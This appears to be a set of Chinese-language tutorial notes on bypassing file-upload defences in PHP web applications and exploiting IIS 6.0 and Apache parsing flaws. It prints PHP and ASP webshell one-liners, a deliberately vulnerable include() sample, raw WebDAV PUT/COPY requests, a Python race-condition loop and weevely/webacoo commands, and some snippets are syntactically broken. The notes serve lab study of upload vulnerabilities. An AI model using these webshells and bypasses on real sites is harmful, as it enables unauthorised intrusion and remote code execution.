目录 Table of Contents
文件上传
绕过 js 验证
JS 验证代码分析
<script type="text/javascript">
function checkFile()
{
var file = document.getElementsByName('upload_file')[0].value;
// 表示用户没有上传文件
if(file == null || file =="")
{
alert("请选择要上传的文件 !");
return false;
}
// 定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
// 提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
// 判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1)
{
var errMsg = "该文件不允许上传, 请上传" + allow_ext + "类型的文件, 当前文件类型为 : " + ext_name;
alert(errMsg);
return false;
}
}
</script>
Burpsuite 剔除响应 JS
对于前端代码, 直接删除掉 JS 代码之后就可以绕过 JS 验证
Burpsuite 中有一个选项就是移除 JS
浏览器审计工具剔除 JS
利用浏览器的审查工具剔除 JS 之后, 保存为新文件然后进行文件上传
保存之后用编辑器改一些地方, 在 <form enctype="multipart/form-data" method="post" action="表示提交到哪个位置">
删除 form 表单相关的 on submit 代码
上传 webshell, 菜刀连接
一句话木马 : php <?php @eval($_POST["cmd"]);?>
绕过 MIME-Type 验证
MIME-Type 介绍
MIME (Multipurpose Internet Mail Extensions) 多用途互联网邮件扩展类型. 是设定某种扩展名的文件用一种应用程序来打开的方式类型, 当该扩展名文件被访问的时候, 浏览器会自动使用指定应用程序来打开. 多用于指定一些客户端自定义的文件名, 以及一些媒体文件打开方式.
就是类似于看后缀名, 然后根据后缀名选择相应的程序来打开
验证 MIME-Type 代码分析
要明白一点, 这个代码验证并不是在客户端, 而是在服务端
查看源代码分析, 使用 $_FILE['upload_file']['type']
获取上传文件的 MIME-Type 类型. 其中 upload_file 是在表单中定义的.
$_FILE
是 php 中的全局数组, 在文件上传时用得比较多
验证过程就是白名单机制, 只有符合这几种类型的文件才能上传
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
if (file_exists(UPLOAD_PATH))
{
if ($_FILES['upload_file']['type' == 'image/jpeg']) || ($_FILES['upload_file']['type' == 'image/png']) || ($_FILES['upload_file']['type' == 'image/gif'])
{
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' , $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path))
{
$is_upload = true;
}
else
{
$msg = '上传出错!';
}
}
else
{
$msg = '文件类型不正确, 请重新上传!';
}
}
else
{
$msg = UPLOAD_PATH.'文件夹不存在, 请手工创建!';
}
}
Burpsuite 绕过 MIME-Type 验证
利用工具截断 http 请求, 在 repeater 重放修改 MIME-Type 类型, 绕过验证
服务端通过第二个 Content-Type 获取上传文件的 MIME-Type, 那我们要改的地方就是这里了.
图里只是告诉你要修改这个地方, 一般改成 image/jpeg
类似这种格式
菜刀连接 虚拟终端
获取上传的图片马地址, 右键图片属性获得地址, 进行连接
虚拟终端介绍, 中国菜刀自带的相应的 CMD 终端, 我们就可以在当前虚拟终端中执行一定权限的命令
绕过黑名单验证
基于文件后缀名验证介绍
对于文件上传模块来说, 尽量避免上传可执行的脚本文件. 为了防止上传脚本, 需要设置对应的验证方式. 最简单的就是设置文件后缀名验证.
- 基于文件后缀名验证方式的分类 :
- 基于白名单验证 : 只针对白名单中有的后缀名, 文件才能上传成功
- 基于黑名单验证 : 只针对黑名单中没有的后缀名, 文件才能上传成功
基于黑名单验证代码分析
对于黑名单中的后缀名筛选. 绕过黑名单可以通过寻找 "漏网之鱼", 寻找某些可以被脚本执行同时也不在黑名单中的后缀名
Burpsuite 绕过黑名单验证
利用 Burpsuite 截断 HTTP 请求, 构建对应的文件后缀名字典, 利用 Intruder 测试器模块进行枚举后缀名, 寻找黑名单中没有过滤的后缀名.
代理 > 截断 > 行动 > 发送给 Intruder
之后进入测试器模块, 点 Positions 位置 clear 变量, 然后选中相应的位置, 添加变量
就是选中一段文字, 点添加变量, 然后这段文字就会被 $
包围起来, 然后我们点 payload 有效载荷, 点 payload option 有效载荷选项下面的 load, 载入我们的字典文件
然后我们点标题栏下面的 Intruder 测试器, 然后开始攻击
拿到攻击结果后, 我们可以选择一个, 然后右键 > show response in browser, 在浏览器中看响应结果
绕过黑名单验证 (.htaccess 文件)
.htaccess 文件介绍
htaccess 文件是 apache 服务器中的一个配置文件, 它负责相关目录下的网页配置. 通过这个文件, 我们可以实现 : 网页 301 重定向, 自定义 404 错误界面, 改变文件扩展名, 允许/阻止特定的用户或者目录的访问, 禁止目录列表, 配置默认文档等功能
其中我们主要用到的 htaccess 文件内容如下 :
SetHandler application/x-httpd-php
设置当前目录所有文件都使用 PHP 解析, 那么无论上传任何文件, 只要文件内容符合 PHP 语言代码规范, 就会被当作 PHP 执行, 不符合则报错.
配置文件 http.conf
在 apache 中如果需要启动 .htaccess, 必须在 http.conf 中设置 AllowOverride All
审计黑名单过滤代码
看黑名单中有没有 .htaccess 这个后缀名
如果没有这个后缀名, 可以直接上传 .htaccess 来设置使用 php 解析任意文件.
把 SetHandler application/x-httpd-php
写入 .htaccess 然后上传
然后我们就可以上传任意的文件, 这个文件就会被当作 PHP 代码来执行
制作图片 phpinfo 探针并上传
首先上传 .htaccess
phpinfo 探针制作 : 在图片里面写入 <?php phpinfo(); ?>
然后保存上传即可
然后我们访问这个就可以看到网站的 phpinfo 信息
绕过黑名单验证 (大小写绕过)
大小写绕过原理
windows 系统下, 对于文件名中的大小写不敏感, 例如 test.php 和 TeSt.PHP 是一样的
而在 linux 下, 对于文件名中的大小写就很敏感了, 上面例子的两个就不是一样的了
仅适用于 windows 系统
基于黑名单验证的代码分析
没有进行大小写的过滤, 再如果是在 windows 下面的话, 就可以用大小写绕过了
直接修改后缀名 PhP 上传文件
文件后缀名不一定非要在 burpsuite 截断的 HTTP 请求中修改, 你可以直接修改文件后缀名然后上传
WeBaCoo 上传 webshell
webacoo 软件在 kali 下面有
WeBaCoo 生成 webshell : webacoo -g -o a.php
上传 webshell
连接 webshell : webacoo -t -u [Webshell 地址]
绕过黑名单验证 (空格绕过)
空格绕过原理
windwos 系统下, 对于文件名中的空格, 会被作为空处理, 程序中的检测代码却不能自动删除空格, 从而绕过黑名单. 这里的空格指的是后缀名的空格.
针对这样的情况, 需要用 Burpsuite 截断 Http 请求之后, 修改对应的文件名 (主要是后缀名), 添加空格
基于黑名单验证代码分析_
代码中没有对上传文件的文件名做去空格处理, 所以存在空格绕过黑名单问题
burpsuite 绕过黑名单验证
用 burpsuite 截断 http 请求, 对上传的文件名的后缀添加空格
webshell 生成与上传
kali webacoo
绕过黑名单验证 (.号绕过)
. 号绕过原理
windows 系统下, 文件后缀名最后一个点会被自动去除
你可以新建一个 1.php.
文件, 看看会发生什么
基于黑名单验证代码分析__
代码中缺少去除文件名最后边点的处理, 然后我们可以利用 windows 的特效, 来绕过黑名单验证
Burpsuite 绕过黑名单验证_
用 burpsuite 截断 http 请求, 然后在上传的文件后面加上 .
绕过验证
生成并上传 webshell
使用 weevely 生成 webshell 并上传
weevely generate 密码 路径 文件名
生成 webshell
上传
weevely shell文件地址 密码
链接 webshell
连接之后用 help
查看帮助信息
绕过黑名单验证 (特殊符号)
特殊符号绕过原理
在 windows 系统下, 如果上传的文件名是这样的 test.php::$DATA, 则会在服务器上生成一个 test.php 文件, 其中内容和所上传文件的内容一样, 并且会被解析.
在 windows 下新建一个名为 1.php::$DATA 的文件, 看看效果. 这里要注意, windows 下面新建的文件名中不能有特殊符号.
我们在 linux 下创建这么一个文件即可.
$DATA 变量是 ADS, 是 NTFS 文件系统下的一种数据流
源代码分析
没有对 ::$DATA 进行过滤
上传 1.php::$DATA
直接访问的话有可能会报错, 看看 URL 后面是不是有 ::$DATA, 如果有我们就需要去掉它
上传第三方 webshell
在网上寻找一些公开的 webshell
绕过黑名单验证 (路径拼接绕过)
路径拼接绕过原理
在没有对上传的文件进行重命名的情况下, 用户可以自定义文件名并在服务器中上传新建, 就会绕过黑名单
例如 : 用户新建 1.php+空格+.
, deldot 删除最后一个点之后, 不再进行删除; trim 删除空格, 那么最终上传的文件名为 1.php.
, 然后利用 windows 自动去除最后一个点的特性, 最终服务器的文件就是 1.php
所谓路径拼接, 就是文件名直接拼接到上传文件目录中
只适用于 windows 系统, 并且未对文件进行重命名
代码分析
代码没有对文件进行随机化重命名, 文件名直接保留
修改文件名绕过验证
在 kali 下修改文件名, 上传 1.php. .
文件
传小马, 放大马
传小马可以避免某些情况下对文件大小的限制, 从而更加有效地上传大马
自己收集吧
绕过黑名单验证 (双写绕过)
双写绕过原理
在代码编写过程中, 只对黑名单中的内容进行空替换, 因为只替换一次所以造成双写绕过.
例如 : 1.phphp
, 然后服务端进行空替换的时候会首先发现 php
, 然后对其进行过滤, 这样剩下的部分又组成了一个新的 php
代码分析_
string_ireplace()
函数替换字符串中的一些字符 (不区分大小写)
绕过黑名单验证_
直接将 php 改成 pphphp
上传 webshell
解决小马转义, 删除小马里面的编码部分代码
绕过白名单验证 (00 截断绕过)
00 截断原理
0x00 是十六进制表示方法, 是 ascii 码为 0 的字符, 在有些函数处理时, 会把这个字符当作结束符
系统在对文件名进行读取的时候, 如果遇到 0x00, 就会认为读取已经结束
PHP 5.3 之后的版本中已经完全修复了 00 截断, 并且 00 截断受限于 GPC, addslashes 函数是否对 00 进行转义等等
GET 型 00 截断
GET 型提交的内容会被自动进行 URL 解码
注意 : 一定要关闭 GPC, 否则无法成功
上传 1.jpg
, burpsuite 抓包之后, 需要在最上面第一行的路径那里, 改成 upload/index.php?save path = 1.php%00
POST 型 00 截断
在 POST 请求中, %00 不会被自动解码, 需要在 16 进制中进行修改
webshell
图片 webshell 上传 (搭配文件包含漏洞)
图片马制作
服务端的 PHP 代码中, 会将用户上传的文件进行检查, 查看文件格式是否符合规范. 一般是检查二进制前几个字节, 也就是文件头部分, 来判断文件类型是否正确.
我们可以用 winhex 等工具在一个图片里面插入 webshell 代码
上传图片马
我们上传图片马的时候, 其中很可能有 Content-Type 验证, 我们修改成 image/gif 或者 image/jpg, 符合当前文件类型的 MIME
但有时候上传之后, 我们去访问, 它并没有被解释成 PHP 代码, 我们需要结合文件包含漏洞
文件包含漏洞代码分析
在 PHP 中, 使用 include
, require
, include_once
, require_once
函数包含的文件都会被当作 PHP 代码执行, 无论文件的名称是什么, 是什么类型的文件, 只要文件内容符合 PHP 代码规范, 都会被当作 PHP 代码执行
存在文件包含漏洞的简单代码 :
<?php
if($_GET)
{
include($_GET["file"])
}
else
{
echo "not get args file"
}
?>
首先判定是否提交了 GET 对应内容, 如果提交了就进行包含, 通过 file 参数提供的文件名进行包含; 否则就输出提示我们进行对应的 file 参数提交
结合文件包含输出 phpinfo
首先上传上面的 PHP 文件, 然后上传我们的图片马, 最后浏览器 http://xxx.xxx.xxx.xx/upload/phpFile?file=webshell
来让图片马生效
就是在浏览器地址栏给它提供一个 file 参数让图片马生效
竞争条件
文件上传过程介绍
文件上传过程 :
服务器获取文件 > 保存上传的临时文件 > 重命名并移动临时文件到对应的上传目录
竞争条件原理介绍
网站逻辑 :
-
网站允许上传任意文件, 然后检查上传文件是否包含 webshell, 如果包含则删除该文件
-
网站允许上传任意文件, 但是如果不是指定类型, 那么使用 unlink 删除文件
在删除之前访问上传的 php 文件, 从而执行上传文件中的 php 代码
例如, 上传文件代码如下 :
<?php
fput(fopen('shell.php','w'), '<?php @eval($_POST["cmd])?>');
?>
这个代码的意思是新建一个 shell.php 文件, 文件内容是一句话木马
竞争条件代码分析
先进行上传, 后进行判断与删除, 利用时间长进行 webshell 上传
竞争条件文件上传利用
提前不断访问代码文件, 然后上传, 最终使用菜刀连接一句话木马
利用 python 发送 http 请求 :
import requests
while True:
requests.get("路径") # 这个路径是我们上传脚本的路径
# 比如我们上传一个 webshell.php, 这里面参数写的就是 http://xxxxxxx.com/webshell.php, 因为我们要在它删除之前访问这个脚本文件
如果大家想要更高效的完成的话, 可以使用 python 的多线程
中间件解析漏洞 - IIS 6.0
IIS 6.0 解析漏洞介绍
解析漏洞就是, 我们上传到 web 服务器的文件 (不是 .asp
文件), 会被当作 .asp
文件解析执行
-
当建立
*.asa
,*.asp
格式的文件夹时, 其目录下的任意文件都将被 IIS 当作 asp 文件解析
<%=NOW()%>
输出当前时间 -
文件
*.asp;1.jpg
, IIS 同样会将文件作为 asp 文件解析
IIS 6.0 PUT 上传原理
IIS6.0 集成的 WebDAV 功能模块基于 http1.1 协议的通信协议, 使得 http 支持 put move copy delete 方法
-
探测是否存在 IIS put 漏洞 :
OPTIONS/HTTP1.1 Host:www.xxx.com
使用 options 探测出支持的 http 方法, 如果探测出支持 put 方法, 我们就可以使用 put
-
上传 txt 文本文件 :
PUT/a.txt HTTP1.1 Host:www.xxx.com Content-Length:30 <%eval request("chopper")%>
上传一个字符串
<%eval request("chopper")%>
, 将其放到 1.txt 根目录下 -
通过 move 或者 copy 重命名
COPY/a.txt HTTP1.1 Host:www.xxx.com Destination: http://www.xxx.com/cmd.asp;.txt
如果拷贝成功的话就会返回一个 created, 然后目标 Destination 的根目录下就会有这么一个文件
cmd.asp;.txt
-
删除
DELETE/a.txt HTTP1.1 Host:www.xxx.com
IIS 6.0 PUT 上传探测
- 利用 nikto 探测 (kali)
nikito -h ip地址
IIS 6.0 PUT 上传利用
使用 burpsuite 进行 IIS PUT 漏洞利用, 先 OPTIONS 探测, 然后 PUT MOVE DELETE
如果返回了 200, 并且返回了对应的方法, 那么它是支持 IIS PUT 的
用上面方法上传文件
上传完成之后, 用 MOVE 或者COPY 方法对文件重命名
这里的重命名当然指的是利用解析漏洞 : 1.asp;.txt
然后我们就可以用菜刀连接了
IIS6.0 解析漏洞及其修复
IIS6.0 解析文件类型
IIS6.0 默认的可执行文件除了 asp 还包含 : .asa
, .cer
, .cdx
, 这三种文件作为 asp 来执行
你可能会很疑惑, 为什么可以作为 asp 文件来运行 ? 因为这三种文件和 .asp 文件用的都是同一个 dll 文件 asp.dll
修复方案
-
IIS6.0 解析漏洞没有微软官方补丁, 可以自己写正则, 阻止上传 xx.asp;.jpg 类型的文件名
-
做好权限设置, 限制用户创建文件夹
Apache 文件解析漏洞
Apache 环境搭建
apache 和 php 采用 module 方式结合, 也就是加载对应 dll 的时候才存在解析漏洞
在 apache 对应目录下的 httpd.conf 文件中 LoadModule
所有版本的 apache 用 module 模式与 php 结合都有这个漏洞, 使用 fastcig 模式与 php 结合的所有版本 apache 不存在这个漏洞.
想利用此漏洞, 文件名中必须包含一个 .php
, 否则被默认当作文本文件处理
Apache 解析漏洞介绍
因为 Apache 认为一个文件可以拥有多个扩展名, 哪怕没有文件名, 也可以拥有多个扩展名.
Apache 认为应该从右到左判断解析方法, 如果最右侧的扩展名为不可识别的, 就继续往左判断, 直到判断到可识别的为止.
ctrl+f 搜索 extensions
apache 本身不具有解析 php 的功能, 它判断完之后就交给 php 模块来解析
解析漏洞利用演示
可以在站点根目录下新建一个 1.php.xxx 文件, xxx 为无法识别的文件后缀名, 文件内容是 <?php phpinfo(); ?>
利用场景介绍
在 web 应用程序中存在文件上传, 但是有黑名单验证, 这种时候就可以利用解析漏洞上传 webshell